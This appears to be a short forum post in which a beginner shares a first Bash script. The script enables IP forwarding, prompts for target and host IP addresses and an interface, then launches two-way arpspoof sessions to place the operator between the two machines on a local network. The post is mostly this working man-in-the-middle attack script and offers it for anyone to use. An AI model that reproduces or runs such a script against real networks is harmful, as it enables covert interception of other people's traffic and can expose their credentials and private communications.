ArpSpoof Bash Script - First Script!

This is my first attempt at a Bash script and i did pretty well i think.
Its nothing special but it works and saves me about 30 seconds of time!!
I couldnt be bothered to keep typing in commands, and to be honest, i kept forgetting them!!

#!/bin/bash

echo '1' > /proc/sys/net/ipv4/ip_forward

#Ask for 2 IPS

echo -e "Please Enter The HOST IP"

read HOSTIP

echo -e "Please Enter The TARGET IP"

read TARGETIP

echo "You entered: \"$HOSTIP\" \"$TARGETIP\""

echo -e "Are you using wlan0 or eth0?"

read NIC

echo "Preparing........."

echo -e "\t\t Target: $TARGETIP \n"

echo -e "\t\t Host: $HOSTIP \n\n"

echo -e "Starting ArpSpoof"

gnome-terminal -x arpspoof -i "$NIC" -t "$TARGETIP" -r "$HOSTIP" 

gnome-terminal --tab -x arpspoof -i "$NIC" -t "$HOSTIP" "$TARGETIP" 

Feel free to use it!
